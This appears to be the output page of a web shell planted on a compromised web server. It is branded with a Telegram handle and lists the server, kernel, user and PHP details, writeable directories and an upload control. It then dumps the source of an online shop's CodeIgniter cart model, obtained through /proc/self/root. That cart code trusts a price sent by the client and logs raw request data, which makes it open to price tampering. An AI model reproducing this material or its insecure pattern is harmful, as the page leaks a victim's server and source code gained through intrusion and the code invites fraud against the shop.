https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /proc/self/root/var/www/laciasmara.com/public_html/shop/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/laciasmara.com/public_html/shop/application/models/Cart_model.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Cart_model extends MY_Model
{

	public function __construct()
	{
		parent::__construct();
		$this->load->library('session');
		$this->load->library('user_agent');
	}

	function update_cart($rowid, $qty, $price, $amount)
	{
		$data = array(
			'rowid'   => $rowid,
			'qty'     => $qty,
			'price'   => $price,
			'amount'   => $amount
		);

		$this->cart->update($data);
	}
	public function add_to_cart($post_data, $id_customer)
	{
		$product_id = (int) $post_data['product_id'];
		$product_detail_id = (int) $post_data['id'];
		$product_variant = $post_data['variant'];
		$attribute_detail_id = $post_data['attribute_detail_id'];
		$qty = (int) $post_data['qty'];
		$price = (float) $post_data['price'];
		$sku = $post_data['sku'];

		log_message('error', 'Add to Cart Data: ' . json_encode($post_data));

		// Validasi input
		if (!$product_id || !$product_detail_id || !$qty || !$price) {
			return ['status' => 'error', 'message' => 'Invalid product data.'];
		}

		// Ambil detail produk dari database
		$this->db->select('
            pd.id AS product_detail_id,
            p.id_products AS product_id,
            p.title AS product_name,
            pi.image AS product_image,
            pd.price,
            pd.discounted_price,
            s.stock,
            s.stock_keep,
            (s.stock - s.stock_keep) AS stock_sell
        ');
		$this->db->from('product_details pd');
		$this->db->join('products p', 'p.id_products = pd.product_id', 'left');
		$this->db->join('product_images pi', 'pd.id = pi.product_details_id', 'left');
		$this->db->join('stock s', 'pd.id = s.id_product_detail', 'left');
		$this->db->where('pd.id', $product_detail_id);
		$this->db->where('p.product_status', 1);
		$product = $this->db->get()->row();

		// Periksa apakah produk ditemukan
		if (!$product) {
			return ['status' => 'error', 'message' => 'Produk yang dipilih tidak ditemukan.'];
		}

		// Periksa stok produk
		if ($product->stock_sell < $qty) {
			return ['status' => 'error', 'message' => 'Stok tidak tersedia. Kamu bisa pilih varian lain.'];
		}

		// Tandai jika ada produk dengan harga diskon di keranjang
		if ($product->discounted_price > 0) {
			$this->session->set_userdata('cart_has_discounted_items', 'yes');
		}

		$data_utm = $this->session->userdata('data_utm') ?: [];
		if (isset($data_utm['utm_campaign']) && $data_utm['utm_campaign'] === 'thr-21-03-2025') {
			$this->session->set_userdata('cart_has_discounted_items', 'yes');
		}

		// Ambil metode pengiriman yang tersedia
		$shipment_method_ids = $this->db->select('shipment_method_id')
			->get_where('shipment_method_product', ['product_id' => $product->product_id])
			->result_array();

		// Format ulang shipment method menjadi array numerik
		$shipment_methods = array_column($shipment_method_ids, 'shipment_method_id');

		// Data untuk dimasukkan ke dalam keranjang
		$data = [
			'product_id' => $product->product_id,
			'id' => $product->product_detail_id,
			'qty' => $qty,
			'price' => $price,
			'variant' => $product_variant,
			'name' => ucwords($product->product_name),
			'shipment_method_ids' => $shipment_methods,
			'sku' => $sku,
			'is_discounted' => (!is_null($product->discounted_price) && $product->discounted_price > 0),
			'discounted_price' => $product->discounted_price,
			'real_price' => $product->price,
			'options' => [
				'attribute_detail_ids' => $attribute_detail_id,
				'image' => $product->product_image,
				'stock' => $product->stock,
				'stock_keep' => $product->stock_keep,
				'stock_condition' => ($product->stock_sell > 0) ? 'In Stock' : 'Out of Stock',
			],
		];

		// Simpan riwayat keranjang
		$data_cart_history = [
			'customer_id' => $id_customer,
			'ip_address' => $this->input->ip_address(),
			'url_current' => current_url(),
			'url_referer' => $this->agent->referrer() ?? NULL,
			'product_name' => ucwords($product->product_name),
			'product_id' => $product_id,
			'product_detail_id' => $product_detail_id,
			'qty' => $qty,
			'price' => $price,
			'user_agent' => $this->agent->agent_string() ?? NULL
		];

		// Proses transaksi database
		$this->db->trans_start();
		$this->db->insert('cart_history', $data_cart_history);

		// Tambahkan ke keranjang
		$this->cart->product_name_rules = '[:print:]';
		$cart_inserted = $this->cart->insert($data);

		$latest_item = end($this->cart->contents());

		// Commit transaksi jika sukses, rollback jika gagal
		if ($cart_inserted && $this->db->trans_complete()) {
			return [
				'status' => 'success',
				'message' => 'Product added to cart successfully.',
				'cart_count' => count($this->cart->contents()),
				'latest_item' => $latest_item,
			];
		} else {
			$this->db->trans_rollback();
			return ['status' => 'error', 'message' => 'Failed to add product to cart.'];
		}
	}

	public function move_temp_cart_to_user_cart($customer_id)
	{
		$cart_items = $this->session->userdata('temp_cart') ?? [];

		log_message('error', 'Temp Cart Data: ' . json_encode($cart_items));

		if (empty($cart_items)) {
			log_message('error', 'Temp Cart is empty. Skipping migration.');
			return;
		}

		foreach ($cart_items as $item) {
			log_message('error', 'Moving item to cart: ' . json_encode($item));
			$this->add_to_cart($item, $customer_id);
		}

		// Hapus session `temp_cart` setelah dipindahkan ke cart user
		$this->session->unset_userdata('temp_cart');
		$this->session->set_userdata('redirect_to_cart', true);
	}


	public function get_product_data($post_data)
	{
		$product_id = (int) $post_data['product_id'];
		$product_detail_id = (int) $post_data['product_detail_id'];
		$product_variant = $post_data['product_variant'];
		$attribute_detail_id = $post_data['attribute_detail_id'];
		$qty = (int) $post_data['qty'];
		$price = (float) $post_data['price'];
		$sku = $post_data['sku'];

		log_message('error', 'Add to Cart Datas: ' . json_encode($post_data));

		if (!$product_id || !$product_detail_id || !$qty || !$price) {
			return ['status' => 'error', 'message' => 'Invalid product data.'];
		}

		// Ambil detail produk
		$this->db->select('
			pd.id AS product_detail_id,
			p.id_products AS product_id,
			p.title AS product_name,
			pi.image AS product_image,
			pd.price,
			pd.discounted_price,
			s.stock,
			s.stock_keep,
			(s.stock - s.stock_keep) AS stock_sell
		');
		$this->db->from('product_details pd');
		$this->db->join('products p', 'p.id_products = pd.product_id', 'left');
		$this->db->join('product_images pi', 'pd.id = pi.product_details_id', 'left');
		$this->db->join('stock s', 'pd.id = s.id_product_detail', 'left');
		$this->db->where('pd.id', $product_detail_id);
		$this->db->where('p.product_status', 1);
		$product = $this->db->get()->row();

		if (!$product) {
			return ['status' => 'error', 'message' => 'Produk tidak ditemukan.'];
		}

		if ($product->stock_sell < $qty) {
			return ['status' => 'error', 'message' => 'Stok tidak tersedia. Pilih varian lain.'];
		}

		return [
			'status' => 'success',
			'data' => [
				'product_id' => $product->product_id,
				'id' => $product->product_detail_id,
				'qty' => $qty,
				'price' => $price,
				'variant' => $product_variant,
				'name' => ucwords($product->product_name),
				'sku' => $sku,
				'is_discounted' => (!is_null($product->discounted_price) && $product->discounted_price > 0),
				'options' => [
					'attribute_detail_ids' => $attribute_detail_id,
					'image' => $product->product_image,
					'stock' => $product->stock,
					'stock_keep' => $product->stock_keep,
					'stock_condition' => ($product->stock_sell > 0) ? 'In Stock' : 'Out of Stock',
				],
			]
		];
	}

	public function get_cart_history()
	{
		$this->db->select('
			cart_history.customer_id,
			cart_history.product_id,
			cart_history.product_detail_id,
			cart_history.product_name,
			cart_history.created_at,
			c.name AS customer_name,
			c.email AS customer_email,
			c.phone AS customer_phone
		');
		$this->db->from('cart_history');
		$this->db->join('customers c', 'c.id_customers = cart_history.customer_id', 'left');
		$this->db->order_by('cart_history.created_at', 'DESC');
		return $this->db->get()->result();
	}
}

https://t.me/RX1948 - 2025